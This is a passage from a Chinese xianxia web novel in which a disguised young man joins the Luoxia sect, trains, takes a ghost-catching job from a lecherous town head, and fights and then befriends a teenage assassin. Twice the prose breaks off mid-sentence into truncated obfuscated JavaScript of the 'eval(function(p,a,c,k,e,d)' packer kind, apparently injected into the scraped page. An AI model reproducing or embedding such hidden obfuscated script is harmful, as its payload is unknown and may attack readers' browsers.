“好的。”陆秋心里有些动摇,但一想到还要多修炼,不免纠结起来。 “嗯,好看。”清环也过来了,点头赞美。 “好看不,我都想自己做一个这样的了。”江舟又遗憾的摸摸自己的红色指甲上的小碎花,又从一旁的盘子中拿了块千层糕吃着:“可惜我前天才刚做好的指甲,要是现在卸了倒是不划算了。” “还是那股新鲜劲没过的事,但凡过了你刚做的都能卸。”清环牙尖嘴利,一点不给他留面子。 “干你的活去,别在我面前碍事。”江舟也佯装生气骂他,但脸上的笑是怎么都遮不住的。 “走吧?”清环看向陆秋:“带你去熟悉一下这里,免得你再迷路去了不该去的地方。” 二人出了院门,清环才真正给他介绍起来,目前他们在西北角,标志性的建筑是一栋角楼,自角楼向南五公里以内都是弟子的活动地,只要没有宗门下令,这些地方都可以去。 五公里规定得特别死,走在路上只要看见东面有座桥,那就是五公里的终点,再往前直到宗门西南门,就是平日他们学习的地方,不过现在没有多少弟子,那里也空了下来。 落霞宗一大特点就是布局整齐,东西以主楼为为轴呈对称分布,也就是说西边是弟子的活动区域,而东边则是长老的地方,没有许可不可入内。 不过一次性记住这些地方是不可能的,清环也没勉强他,反正只要呆在弟子活动处就没事了,有事都在主楼,去另一边也没有意义,便不和他介绍了。 “好了,看见前面那个大钟了吗?” 陆秋顺着他所指的方向看去,一座约有八尺高的钟静静立在那里,钟面在阳光的照射下十分刺眼。他点点头,跟着清环走到了一扇大门前,门环不是平常人家的椒图,而是凤凰的纹样。只见清环屈起手指,对着门快速敲了三下,又缓慢敲了两下,就听“吱呀”一声,大门便开了一条小缝。 “进来吧。”清环推开门,不让它合上:“这是令火堂,负责派发任务的地方,有大事会敲钟的,不用担心找不到。” “这里怎么没人啊?”陆秋跟进去,看着干干净净的地板和桌面,想着难不成今日休假才没人的。 “因为目前没有新任务了。”清环叹气:“都不想在宗门呆着,任务几乎是一公布就没了。” “你是值班弟子吗?” “轮值。”他解释:“我这个月想留在宗门休息,就到我在这坐着发任务了。” “一个任务都没有了吗?”陆秋想看看一般任务会是什么,不过应该也不会难到哪里去,他应该大多数的都能接。 “这还有几个陈年任务,要么太难,要么太麻烦,没人愿意接。” “我能看看嘛?” “随便看。”清环拿出一把木牌,每个上面都是不同的任务,他本以为“几个”最多也不过半百,结果对方拿出了满满一桌的牌子,堆放得要往下滑的时候陆秋及时叫停:“够了够了,我就看看。” “你要是接的话可得仔细着点,因为有过不少同门被坑,所以后来这类任务大家都不接了。”清环从这堆牌子里挑挑拣拣,拿出一个给陆秋指着看:“这个,上面说家里闹鬼,吓得家里鸡犬不宁的任务。” “要除鬼?”陆秋想不到这个任务没人接的理由。 “表面上是要除鬼,实际上你看看发任务的人。” 陆秋仔细一看,任务发布人是某个镇子的镇长,更疑惑了。清环捏着这个牌子的系绳挂在食指上转圈:“这种求捉鬼的,十有八九是想让你去了,他吃你豆腐呢。” “这……”陆秋明白了。 “反正你是拿了他的钱去办事的,他干什么恶心事你也只能受着,我们门派女孩子还多,被说了难听话也不知怎么还嘴,久而久之大家就都无视这种任务了。” “这种就该让鬼撕了。”陆秋听了也生气,又问:“那这任务就留着?” “不不不,我喜欢这种任务,刚好我这个月的任务还没做,我接了。”清环笑得温和,但不知怎么回事,也让人有种毛骨悚然感。 “你不担心吗?被那些人纠缠。”陆秋有些担心的问。 “这次你跟着。”清环无视陆秋一脸的不可置信,语气轻松:“到外面喊我师姐,我管你叫师妹,明天咱出发。”说罢,把那个牌子握在手中,红色灵力似火焰般缠绕上木牌,在上面留下一个火红凤纹,代表他将任务接下了。 “对了,你回去看看今天领到的东西,里面有个蓝色瓶子,那个药能让你变为女声,一颗的持续时间大概是三日,你看着吃。” “好的。”陆秋这时也不觉得丢人了,只觉得好玩,甚至有些跃跃欲试,这时他又想起来个人,问道:“师姐,落霞宗有黄家的弟子吗?” “嗯?”清环的回答倒是让他有些吃惊:“黄琳吧?” “他很有名吗?”陆秋小心翼翼问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不会,但是这里凉快。”清环趴在长桌上:“现在寝室现在热得和蒸炉似的,还是这里凉快些。” “寝室没有制冷的法阵和咒吗?” “你要是长久呆在寝室,寝室就会被弄乱,一个不注意被查到就罚你,所以我们都一致同意将制冷的法阵转移到了这些活动地,这样大家呆着也舒服些。” 确实,怪不得在寝室那边都没看见几个弟子,反而都聚在这里,原来是从根源解决了问题——不住就不会弄乱。 果然是上有政策下有对策,长老坐视不管可能也是觉得规矩太过没有人性,所以也随着弟子们的想法来了。 “明天的任务要去哪里?”陆秋刚刚只是大体扫了一眼,没有细看,这次从清环手中接过任务牌,才逐字逐句看了起来。 牌上的字看不太清,但从侧面却是可以拉开的,里面有白纸,记录更为详细。 他把纸展开铺平,白纸黑字清清楚楚,是由镇长家的下人所写。具体就是说家中死了个小妾,半夜有哭声,其他的妾每天晚上都被吓到,正房夫人做噩梦,公子生病总不好,老爷事业也不顺。 “这不太常见了吗。”陆秋边看边和清环吐槽:“只要觉得闹鬼就是这几样,都没有新鲜的。” “再新鲜点就是连环杀人。”清环补充。 “或是门前一双绣花鞋,床前红衣女鬼立。”陆秋往下接:“都不想想是什么原因,不做亏心事,不怕鬼敲门,这点东西都不知道吗。” “也不能这么说,毕竟也有鬼是见人就杀的,不做亏心事也得怕鬼敲门。” 两人面面相觑,陆秋继续往下看,但越看眉头皱得越紧。 任务发布时间是在一个月前,指明了只要落霞宗的弟子去除鬼,而且还特意说这个鬼不是很强的样子,所以只用年轻的姑娘去就足够。 “这不就是……”陆秋想了个比较文雅的词:“明晃晃的调戏吗。” “对吧,这种一眼就能看出问题,所以没人接。”他扣了一下指甲上沾的灰,语气有些炫耀似的:“但我喜欢接这种任务。” “你有什么法子?”陆秋好奇了。 “明日你就知道了。”清环竖起食指抵在唇上,俏皮的眨了下眼,提醒他:“貌似有人给你发消息哦,你要不要看看?” 陆秋这才注意到自己的通讯令牌在闪着微弱的光,他急忙打开,发现是秋络给他的留言: 娘已经给你打点好了,你只用好好生活,跟着师姐们多去做做任务就足够,有事找娘或爹都行。 44. 落霞宗(3) 陆秋回复知道了,把令牌挂回腰间,又问清环:“我们怎么过去?” “落霞宗是有传送阵的,你看,这个任务地点是在刘庄镇,我们宗门可以通过宗内直接传送过去到镇口的。” “那我们什么时候走?” “明早下了晨练。” “晨练?”陆秋又问:“什么晨练,不会做怎么办?” “不用担心,”清环笑眯眯的:“不会可以学嘛,你是新人,自然不会难为你,你就跟着上一批弟子练就成,从基本功开始。” “我基本功还行。”陆秋以为是指扎马步那些为基本功,还放心了不少。 “这是你说的哦。”清环又掩面一笑:“衣服还有一套白的,是晨练穿的,换上衣服再把头发扎的简单点就成。” 陆秋起初只是觉得晨练而已,有什么难的,直到第二日他跟着到了晨练场才意识到不对劲了。 别的宗门晨练地是空地,是室外,但落霞宗的是室内,先到的弟子已经有开始压腿的,甚至还轻轻松松的劈了个一字马。 “不是,这。”他不可思议的看向清环,清环冲他一笑:“你不是说基本功还挺好的吗,先来个一字马吧。” “来来来,别害怕,没人会在意的。”清环二话不说扫堂腿把他左腿腿猛地往前踢去,又迅速握住他右脚脚腕,陆秋迅速反应过来,右腿曲起膝盖跪在地上,左腿绷直不让清环把自己的腿往前踢。 清环保持着得体的微笑,然后用力把他的右腿一扯。 “嗷!”痛感从腿根传来,连带着小腹都隐隐作痛,这一声他本是不想喊的,但在那瞬间肺部就像憋了一股气似的,若是不出声,可能会憋出问题,便不自觉的嚎了出来。 “别起来,继续下压。”清环没给他缓过劲的时间,摁着他的膝盖又使劲向下用力。 这是什么酷刑啊!陆秋感觉腿部哪里都疼,只想把腿给截了。 不行,得转移注意力。他这么想着,艰难的开口问道:“新弟子……都这样训练吗?” “不啊,你不是说你基本功好嘛。”清环有些奇怪的看他:“新弟子这么压就废了,容易把腿给压断的。” “我也是新弟子!”陆秋的腿又想往里回,于是又一次被清环摁住。 “一般这个姿势是保持一柱香的,然后去贴墙站一柱香,你还不适应这种操练,早操这两种就够了。” “一柱香什么时候到啊?”他面部狰狞的问。 清环回头看了眼,露出一个抱歉的表情:“今天没点香啊,我去点上,咱重来。” 他一放开陆秋,陆秋便双手抱腿,轻锤刚刚拉伸导致疼痛的肌肉,若是天天受这种酷刑,还不如直接了结了他。他向门外看去,只见昨天刚见过面的江舟直接一个倒踢紫金冠入门,落地轻盈,只有一声微不可查的“咚”。 他还在看呢,清环就走过来蹲在他身边问道:“继续吧?早练完早走哦。” 陆秋只好咬牙压腿,盯着烧着的香恨不得自己能一把火把那香瞬间烧干净,但再怎么望眼欲穿都只能干等着,因为旁边的清环还在,他干脆放自己胡思乱想,只求能够不让自己这么在意时间。 “好了,去贴墙。”当他第一百三十次看向那柱香时清环终于把那燃成灰的香换上新的,陆秋缓缓曲腿,双手都有些无力的撑地站起,有些一瘸一拐的走到墙边靠着。 “贴紧。”清环扶着他的额头往后贴:“腰也是。” 终于等到结束,浑身上下没有一处舒服的地方,就像身体突然苍老了三百岁,有种即将入土的疲惫。 但不知怎的,虽说□□疲惫但精神却是异常的兴奋,有点像他刚开始步入金丹期时的状态,愈发感到□□是灵魂的拖累。 等回去换好了宗服,陆秋又站在屋内的一面全身水镜前转圈欣赏着衣服,为了出行方便而将裙子改为里面开裆外部合裆的裤型,深粉外裤侧边开叉露出内部白色衬裤,为了看着更加有飘逸感又叠加了一层淡粉纱裙,隐隐透出外裤的颜色来。 上身衣物则显得没有那么复杂,仅是抹胸,马甲与褙子的叠穿,唯一精致的点就只是褙子上那对称的金色凤纹,在阳光的照射下还隐隐泛着金属的光泽。 不知是落霞宗太注重穿搭还是滨水宗偷工减料,就这样简单的衣物让他在镜子前看了很久,心底还是为自己变得更加漂亮而高兴的。 今日按照清环所说扎了个元宝髻,没有过多装饰,只有两个发扣与金梳,避免的就是太惹眼没能给清环表演空间。又倒出一粒变音丸吞下,那丸竟在喉间就自动溶解,一股冰冷直往上蹿,冰得他感觉现在呼出的气体都是冷的。 他感觉那种异样消失后,自言自语道:“变音了吗?” 细软的女声从自己口中发出,就连他自己都被吓了一跳,但又像是尝到了甜头,觉得新鲜,就又接着一句句的自言自语。 “好哦。” “嗯?” 直到房门被敲响,清环催促的声音从门外传来,他才有些不舍的闭了嘴。 清环打量了他一会,从储物戒拿出个小瓶子来,用中指晕开里面的膏体后抹在陆秋唇上,细细涂匀了才收回去,笑道:“一涂上口脂就有了气色,虽说还是不够精细,但至少有点女人样了。” 陆秋看着牡丹髻的清环,知道自己从发型上就没有对方显眼,更放下心来。 “去到镇子咱们得先去找客栈,不能住在人家家里,知道吗?”清环掏出个小金链系在陆秋左手腕上:“这个能记下来你花了多少钱,能让宗门给你报销的,可别弄丢了,不然你自掏腰包哦。” “好的。”陆秋握了两下金链,更觉得这里对弟子是真的好。 “你先去租房间,咱俩分开睡,明白?”清环估摸着这种事情一般都由下人来做,陆秋这个少爷可能都没自己租过客栈。 “明白。”陆秋点头。 “那里价格一般都在六十灵石一晚的,别被坑了。” “不会的。”陆秋再三保证。 “好,我相信你,我先去四周转转,你有事联系我就成。” 语毕,传送阵的亮光闪过,二人出现在了刘庄镇外的林中。清环去林中再探查一番,陆秋则是自己进到镇子里找客栈。 他还是紧张的,毕竟第一次穿成这样这么明显的出现在大街上难免不好意思。手心都被汗浸湿了,一路上受到的注视也不太好受,他只想快些找到客栈躲一会,就稀里糊涂的看见最近的一家进入询问。 掌柜的见到他先是把他从头到脚打量一遍,直到陆秋问还有没有多余的客房才把视线收回到陆秋的脸上,但表情猥琐,声音也贱兮兮的:“当然有,美人自己住?” “两个人。”他克制住那种恶心,努力想把那滑溜溜的视线忽视掉。 “那位也是和你一样的?” 想着再怎么骗也没有意义,便点头道:“对。” “哦,我看你们应该是来捉鬼的吧?” “两间房,一晚多少钱。”陆秋不想理他,只想赶快租完房间完事。 “哎呀,小美人别那么着急,这房给你们做任务的弟子是免费住的!”掌柜见他要发火,掏出两个牌来:“这是房间牌,拿牌才能进房间。” 陆秋接过一看,两间房隔的太远,又推回去:“要两间挨着的房。” “没有啊!”掌柜拍大腿,一脸无奈:“这还有不少其他门派的,你们来得晚,没挨着的空房了!” 陆秋心里烦躁,他有种被人轻视而且吃了亏的感觉,不自在极了。只好拿了那两个牌子,一甩手就转身上了楼,不顾身后传来的“啧啧”声,气愤的找到其中一间进入并摔上了门。 “妈的。”他忍不住骂道:“迟早得把你阉了。” 虽然现在正事办完了,但让他自己出去逛逛也不太现实。这里毕竟只是一个不发达小镇,打扮稍微好些都会引来注目,前台那种模样让他更加烦躁不安,不想留在这里。 清环这时联系上他,询问是否已经办完了事,他便将刚刚和前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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清环挽过他的手臂,还回头向掌柜抛了个媚眼,把那人迷的止不住的“嘿嘿”笑。等走出了客栈,确保里面的人听不到他们讲话的声音后,陆秋有些气急败坏道:“那家伙眼珠子都快掉你身上了,你还理他做什么?” “哎呀,玩一玩嘛,别当真。”清环的语气中甚至带上了一抹得意,嘱咐他:“等到了李府,你可别乱说话,我就说你是给我打下手的,其他的什么都别问,懂吗?” “懂。”陆秋唉声叹气的:“你要怎么办?” “别问,你看便是。” 镇长是凡人,他能成为镇长是因为这职位是从祖上传下来的,虽然他什么都不懂只会吃喝玩乐,但胜在家里没有兄弟,再无能也是唯一的儿子,家业要由他继承。也是从小被惯出来的,觉得在这里就没人敢动他,所以就起了调戏修行者的心思,对着传说中的“美人门派”落霞宗发了个悬赏。 在前几天知道有落霞宗的弟子要来,他还特意请了个散修给他召鬼,为的就是能让美人在他府里多呆几日,至少要饱个眼福,如果能因此再纳个妾就更好了。 李府确实大气,不知道的还以为这里住的是皇帝。清环听陆秋这么调侃,听出他的意思,也嘲讽着:“这不就是土皇帝?”但又摇摇头:“不对,这还没咱们宗门好呢,他这要是皇宫,咱们不得住的是天庭?” 这时门童已经给他们开了门,见到二人模样,那看起来只有六岁左右的门童红着脸支支吾吾起来:“我们家老爷,请、请二位进去。” “你们老爷在哪儿呢?”清环故意逗他:“我们可不识路。” 他凑的极近,香气止不住得往门童脸上扑去,把对方惹了个脸红脖子粗的。 “那……你们跟我来。”门童晕晕乎乎的关上大门,引他们去往主院见李老爷。 到了门口他才清醒过来,对守在房门的侍女说道:“姐姐,老爷找的仙人来了。” 侍女听后进房通报,只听一阵椅子在地上摩擦的声音,一位满脸横肉的男人乐呵呵开门跑了出来,见到二人也是用惊奇的眼神打量着他们,甚至说话时也不断乱瞟:“二位……以前只听说是美人,如今可真是开眼界了!” “哪里的话。”清环嫣然一笑:“那鬼在何处呢?” “在……在偏院!”李老爷用力吞了口口水,他让那散修把鬼拴在自己不常住的房间,这样有点小动作也能做的隐蔽些。 “那我们去吧。”清环甩了一下手帕,让所有人的视线都在他身上,李老爷更是被勾了魂似的殷勤地为他开路。 45. 任务(1) 路过的几间院子都充满了生活气息,一点鬼气都没有,而且下人也都是正常模样,氛围也不似闹了鬼的,再加上老爷正把他们带去一间偏院,不由又泛起恶心来。 不会真是想的那样吧?他心里也打起鼓来,因为不能随便伤人,杀人更不可以,所以他才束手无策。 那偏院内确实有鬼,但气息很弱,且只在屋内,随便想想就知道是人为故意锁住的。若不是恶鬼,那锁鬼人欺凌小鬼,挺没良心的;若是恶鬼,那更没良心,竟然敢把这种鬼放在凡人家中。 屋内干干净净,根本没有养鬼的条件,而且锁鬼的锦囊放的太过显眼就在桌上,他们只要拿走就算完成了任务,做这个任务真就是纯纯浪费时间。 陆秋看向清环,发现对方根本没有想走的意思,反而直接在椅子上坐下,装模作样的问:“你们家的鬼就在这里是吗?” 师姐你是鬼修啊。陆秋忍了又忍,没把心声说出口。 “对对对,它特别能闹,我们府里都被这恶鬼给闹的不安生。”老爷凑上前去,距离近得都要贴上去。 清环也不躲,只是摸上左腕,作出略微惊慌的表情对陆秋道:“啊呀,我的镯子没有带来,这可怎么是好。” 陆秋一听,不知道他要做什么,还未开口呢那老爷就急忙回答:“要什么样的镯子?” “要金的,纯金的!”清环焦急的语气不像是假的。 “我这里有,有很多,仙子看看要哪个。”老爷向外喊了一声:“去!把首饰盒子都拿过来!”他一转头又换上笑:“仙子这金子,有什么用处呢?” “重金压鬼,没了这些,我可不能给你抓鬼。”清环故意打趣道:“还是多亏了老爷,要是让我师门知道我没准备好就来了,回去都要受罚的。” “是我让仙子来的,我出东西是应该。”老爷越趴越近,几乎要把脸埋在他的发间了。 “老爷。”侍女们端来五六个大盒,放在桌上等着清环挑选。 老爷起身甩手让她们出去,打开其中几个盒子,露出了里面满满当当的首饰,金银交错,宝石透亮,玉石没有一丝絮,珍珠串都因为太满而往外涌。 清环翘着兰花指在里面挑挑拣拣,多出来的放桌上,起初只是戴金镯子,后来怎么看怎么不满意,老爷也十分有眼色的递上其他的镯子。 “仙子试试这个?”他把一个雕刻精美的朱砂手镯递给清环,手指假装无意的摸过清环的手,收回时还搓了两下手指,自认为悄悄的放在鼻下闻。 “嗯,这个纯。”清环戴上掂量了一下,说道:“这个好,也可以拿来捉鬼。” “啊,那这些……”老爷的目光移到那些被戴过的镯子上。 “我师妹也得给我帮忙,他也得戴。”清环向陆秋招手,让他过去。 陆秋走到另一边,借着桌子隔开李老爷,有些担忧的看着清环,但清环像是没有看见他的目光挑出串红玛瑙给他缠上,把那两颗绿松石调整到顶上,说道:“多好看。” 清环抬头与陆秋对视,陆秋轻微的摇摇头,他不想要别人的东西,但清环没理他,扭头看向老爷:“师妹挑不出来,一个好像有些少了……” “随便挑!”老爷明显兴奋了:“要多少拿多少,美人拿就是。” “这是你说的哦。”清环又为难起来:“可若是宗门知道,会觉得我们乱要东西的。” “这怎么能叫乱要呢!”老爷看着他要把东西放回去,一下着急了:“是报酬!这些都是报酬!” 陆秋总算知道为什么悬赏的任务牌上没有报酬这一项了,原来是为了能拿到更多。 “嗯……这样吧,这个鬼难抓的很,”清环有些不好意思的看向老爷:“今晚我便留下过夜吧。” 老爷先是愣了一下,之后嘴角咧的越来越大,连连点头:“好好好!” “那这东西……”清环意有所指。 “唉,让你师妹带走看中的吧,就当是我付的钱。” “师妹,带走吧。”清环把他袖子往下拉拉,遮住那串手链,对他使眼色:“回去小心些,明天再来找师姐。” 事已至此,他也只能应下,自己只身走出李府,虽说是报酬,但他心里明白,清环这就是借女人身份向那种心思不正的人索要钱财。 很烦,烦的他回去时连掌柜的调笑都没有搭理,直接回了房。红玛瑙手链像是锁一般让他动弹不得,就连触碰的瞬间手腕都有灼烧感,带着他的羞耻心让他陷入难处。 不过这件事得往后放放,因为在他开门的瞬间一把匕首就冲他飞来,若没有往后躲去,只怕会直直捅穿他的脑袋。他迅速掏出常用的剑挡住又飞来的两个镖,闪身借墙壁做掩体,心里暗骂:这还没到晚上呢,就这么迫不及待,是该得给点教训。 今天受的气在此时终于能发泄出来,他捏了个决立起结界,将整个房间围了起来,随后就气势汹汹提剑进屋。 屋内没有人,但暗器绝不是凭空出现的,他缓缓向衣柜走了过去,在一阵寂静中迅速拉开柜门躲在门后,柜门立刻被飞来的匕首扎穿,那人绝对是刺客,现在虽然没有发现对方的位置,但通过暗器的飞行轨迹,大概是在头顶。他向上挥出一道剑气,蹲下向前一滚避开了被削成了两半的柜子压到。 梁上那人也蹲不住了,跳下来一个猛冲贴近,连着几拳把陆秋逼得连连后退。陆秋起初担心自己被打到,但躲了几下发现自己不动手就只能被打,气得也不管那么多了,重新提剑直抹向对方脖子。 杀就杀了,他可没对我手下留情。陆秋一个不注意被踢中腹部,只觉得五脏六腑都错了位。他将剑附上一层灵焰,在挥动的过程中夹杂着风声呼呼作响。此刻也顾不上房内的桌椅摆设,只管打砸便是。 那人倒也不躲,由着陆秋打,但出手动作又快又狠,专挑薄弱处攻击,陆秋感觉手臂都要被打断了才找到机会把对方掀到地上,生怕他再打,就捡了匕首直直刺穿对方一只手掌,钉到地上。 “你是谁!”陆秋还没开口,对方就咬牙切齿的质问他。陆秋一愣,掐着对方脖子的手都松了些:“这是我的房间,你在这里干什么。” 对方也一愣,继续嘴硬:“这是我的房间,你才是突然闯进来的。” “你再胡扯?”陆秋拿出房间牌在他面前晃了晃,露出上面的数字:“我就出去一趟,回来就发现你在这里。”他揪起对方衣领,用读心开始读他。 对方态度转变是真快,立刻说道:“我的房间牌就在桌上,你可以去拿看。” 陆秋盯着他,手一挥,桌上的牌子就飞了过来,看到牌子的时候他确实也懵了,确实也是这间房,但他的底气还是很足的,因为是对方不由分说对他展开了攻击,他这属于防卫,终究还是自己占理的。 确定对方没了攻击意图,他把插进那人掌中的匕首拔出,并翻身从他身上下来,决定找那个前台对质。 那人看起来年纪比他还要小,婴儿肥都没有消去,现在躺在地上看起来还有点可怜。陆秋刚要觉得愧疚,腹部又传来一阵疼痛,让他死了愧疚之心,恶狠狠的对他命令道:“起来,去底下问问怎么回事。” “哦。”那少年慢吞吞撑地起身,完全没了刚刚那股狠劲,额前长长的碎发几乎把眼睛全都遮住了,让人不知道他在看什么,而且不知是不是刚刚打斗的缘故,头发凌乱,连发尾都翘起来了,像是只在泥地里打完滚回来的小狗。 “走。”陆秋语气不善的催他,等那少年不紧不慢跟在他身后才出门,但他进门时还在的掌柜这时就不在了,不仅人不见了,就连其他房间的牌子也没了。 他想找找有没有其他人,可后门也上了锁,整个店貌似就只有租客了。陆秋现在不敢再去另一件房了,他担心一打开又看见有人然后大打出手,只能带着这个脏小狗回到原屋。 一开门他又头疼了,满地都是他那串红水晶手链散落的珠子,柜子被劈了,桌子碎成了好几块,现在看来只有两把椅子能坐。他叹气,坐在自己带的躺椅子上想今晚该怎么度过时,一直垂着头跟在后面的少年说话了:“对不起,我以为你是别人派来杀我的。” “没事,我也以为你是劫财又劫色的。”陆秋不 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“刚刚打的时候,你身上肌肉分布还有骨架和女性差的很多。”少年还认真给他解释:“虽然声音和外貌是像的,但一摸就知道。” 陆秋听到这话松了口气,靠在躺椅椅背上,感受到少年盖在上面的手源源不断的用灵力给他把瘀血化开,又奇怪对方的身份起来:“你是哪个门派的?” “我是隐月教的。”少年老老实实回答。 “哦,那个刺客教会?”陆秋以前听陆夕月说过,但除了这一点,剩下便没有多少知道的信息了。 “嗯。” “你多大了?看着比我年纪还小了些呢。” “今年年底就十五了。” “那比我小一岁半。”陆秋认真观察起来少年的脸,即使是细碎的额发也不能遮住那双灵动的双眼,不用读心都可以看出他在想什么,心底的情绪全都透在了眼中。怪不得要把头发留得这么长,不然想了什么得让人全都看了去。 左眼皮上还有颗小痣,只有半合着眼才能看见,虽不显眼,但也让人忽视不掉,陆秋看了一会,那少年的脸是越来越红,最后有些窘迫的开口:“伤好、好了,应该。” 陆秋回过神,揭开帕子,发现皮肤除了因为温度高而有些红,瘀血是一点痕迹都没有了,不免好奇:“这是你们的秘法吗?” “对,我们教会的。”少年依旧蹲在地上,头扭到一边不给陆秋看。 “都是男的,给看看怎么还不好意思了?” “我,我不习惯。” 陆秋只好遗憾的收回目光,找点话题来打发时间:“你叫什么?” “尹浅笙。”他还蹲在那里,看起来和犯了错被罚似的。 “我叫陆秋。”他总算理解了江舟的快乐,在这种害羞的小孩面前真是越逗越有意思:“你是来做任务的吗?” “算是吧。”尹浅笙看着地上的珠子发呆。 陆秋转头看看一地的珠子,心生一计,故意叹息:“我刚到手的手链,还没戴热就没了。” “我会赔的。”他抬起头和陆秋对视,声音越来越弱:“你要多少钱?” “我这个可不是用钱买的。” “那你要什么?” 这孩子看着傻乎乎的,太过分了自己也良心不安,陆秋话到嘴边又紧急收了回去:“看在你还挺有诚意的份上,这串手链就算了吧。” “不行,我一定会赔偿的。”尹浅笙连连摇头,高马尾甩来甩去打到脸上,陆秋看着都脸疼,只好敷衍道:“好吧,我等你赔给我。” “你是落霞宗的吧,我可以让认识的人送过去”他双手扒上躺椅的把手,有些可怜的看着陆秋。陆秋知道他是看见自己衣服上的凤纹了,应付道:“可以,你认识谁啊?” “江舟。” “哦,不认……谁?”陆秋最后一个字猛地升调:“男的吗?” 尹浅笙点点头:“是我邻居家的兄长,也在落霞宗。” “那个喜欢摆弄指甲的?” 尹浅笙回想了一下:“好像是。” 46. 任务(2) “你等等。”陆秋从通讯令中找到江舟,开始对信息,几番问答下来确认了是同一个人,不由感叹世界是真的小,哪里都能有认识的人的关系。 “你打算赔偿什么?”陆秋瞟了眼尹浅笙的衣着,穿的是常见的黑色红底圆领袍,但护腕上深浅不一的纹路和刚刚的暗器的精良程度足以表明,尹浅笙的钱财并不算少。刺客和剑修差不多,为了心爱的武器都愿意衣不蔽体,所以往往不能凭外观来定义他们。知道尹浅笙还是有赔偿能力后陆秋也不推辞,反而问道:“你得留个什么东西做押金吧?” 尹浅笙想了半天都没想到自己能用什么做押金,翻遍芥子空间才有些迟疑的掏出了个细细的银镯,不好意思的说:“我只有暗器,没什么能给你的,这镯子能发射银针,算是最安全的了。” “怎么发射?”陆秋没有接,等着尹浅笙展示。银镯做成了玉龙模样,将龙角反方向用力拨才可有针从角后小孔射出。 “想换针可以掰开龙嘴。”尹浅笙也演示了一下,利用榫卯结构使更换处被龙须挡得严严实实,根本看不出是暗器。 陆秋接过银镯,他还从未接触过暗器这些东西,以往只用过刀剑扇,其他武器因没有人教授而难以掌握,只好眼巴巴的看着别人练。 他戴到左手上,对准窗台上的花盆用力一拨,银针虽未穿透花盆,但却有一半深深没入其中。看来这镯子只有及其精准的情况下能进行暗杀,但好处是能更隐秘,是个辅助性暗器。 “可以和麻醉针或毒针一起用。”陆秋再一次夸赞:“这是从哪里搞来的?” “是我做的。”尹浅笙看起来有些不好意思:“我本来想做的杀伤力更高的,但是没能做成。” “好看,用好了也很厉害的。”他提出建议:“这种本就不能像飞镖那样攻击性强,毕竟这料子还是太软太轻,发力不够才导致只能做个辅助的暗器。”他取下一个发扣两指夹住甩出,破风声伴随着瓷器掉落的声音,那被银针扎着的花盆终于碎了,摔在地上四分五裂。 尹浅笙若有所思点点头:“但我想做的更加轻盈,这样携带会方便些,而且更适合你们防身用。”说完,他又悄悄补上一句:“至少也能小小的报复一下。” 陆秋听乐了,刚想说什么就听见尹浅笙肚子咕噜叫了一声,没忍住真的笑了出来。尹浅笙迅速把头埋到膝间,羞得是一句话都说不出来。等陆秋笑够了,才想起来尹浅笙这个年纪饭量大,而且修为不高,没到辟谷的程度,便从躺椅上站起穿上褙子,向窗外看了一眼:“走,我请你吃饭。” “我自己去就好。”尹浅笙慢吞吞站起来,低着头看不清表情但能看见红彤彤的耳朵。 “你陪我出去。”陆秋拉过他的手腕:“外面我自己出去不太安全。”他冲对方眨眨眼,尹浅笙也不好拒绝了,跟在陆秋身边向外走去。前台依旧没有人,还有好几位客人围在那里等着,看样子是和他们情况相同,不过与他们无关,二人只需要去找个馆子吃一顿就足够。 只能说身边带个尹浅笙是很有用的,虽说人家年龄不大,看起来也就是个弱不禁风的小孩,但路上他受到的注视的确比之前少了许多,大多是看到了尹浅笙就收回目光,变得注重礼节了,知道有的不该看的就不看。他心里给气笑了,恨不得把这里人都揍一遍,还要边揍边问长没长记性。 这人是他带来的,自然得由他请客,反正最后宗门报销,不吃白不吃。他看着埋头扒饭的尹浅笙内心默默吐槽,这孩子平时的钱除了养武器就是吃饭了吧,不然怎么这都第五碗面了还没有要收的意思。 他用公筷夹着菜往尹浅笙碗里放:“别光吃饭,吃点菜。” 吃不完有点浪费的。他默默的想。尹浅笙也是真好养活,这菜都难吃到超出他的想象了,甚至可以媲美一道只有鱼和醋的菜,吃一口鱼能直接吐到河里的那种,这小子也能当美味吃。真不敢想他平时吃的都是什么。陆秋移开目光,见第五碗要见底又要了第六碗,拼命抑制想吐的冲动也才把自己剩下那半碗面吃了。 空碗摞得挺高,但这也不用他操心,最终结账的时候只需将金链往他们专属的灵阵上一贴便是成功从宗门的钱中支付了。不花自己的钱还是有些过瘾的,他把金链缠回手腕,终于有机会能问些他好奇的了。 “你饭都吃到哪里了,怎么肚子一点看不出来?” “不知道。”尹浅笙挠挠头:“其实我们都是一次吃好多,然后可以好几天都不饿。” “还有这种功法吗?”陆秋惊了,他这请的不是一顿,是好几顿啊。 “嗯,但是等到辟谷就没用了。”由于头发太挡视线,他只能用力仰头看着陆秋:“谢谢你请我吃饭,我以后也会请你的。” “真的?”陆秋挑眉:“我嘴可是很挑的。” “我会做饭,可以做的!”他神色认真,让陆秋也当真了几分,稍微没有那么随意的回答他:“你若是请不了也没关系,以后多给我带点小首饰,就当是还钱了。” “对了,你是做什么任务的,也许我们接了相同的呢?”陆秋知道很多刺客都会同时接一单悬赏。 “我是来捉灵兽的。”尹浅笙也不瞒着:“镇子外的那林中有好多逃出来的灵兽,反正动静那么大,大家都往这里赶呢。” “从哪里逃出来的?”陆秋想着这几个月真是让滨水宗耽误了,外面的事情他都一概不知,看来以后也得多关注外面的消息了。 “从兽宗那边跑出来的,不过他们也不要就是了。” “他们自己养的怎会不要呢?”陆秋不太信这话了,兽宗专门养兽,又怎会放任被别人捉了去。 “真有用的灵兽他们才不会放出来,但是不能保证繁衍出来的灵兽个个成功,想杀又怕人指指点点,就假装它们跑了出来,放它们自生自灭。” “那你想捉什么样的灵兽?”陆秋大致了解了,想着清环应该也是提前知道的,不然不会一来到就往林子里钻的。 “看看能捉到什么吧。”尹浅笙脸上浮现出迟疑的表情:“人那么多,厉害的灵兽会被抢的,就算抢到了,还会有人使绊子。” “如果呢?”陆秋压低了声音:“我可看不得因为不公而只能把想法藏起来这种事。” 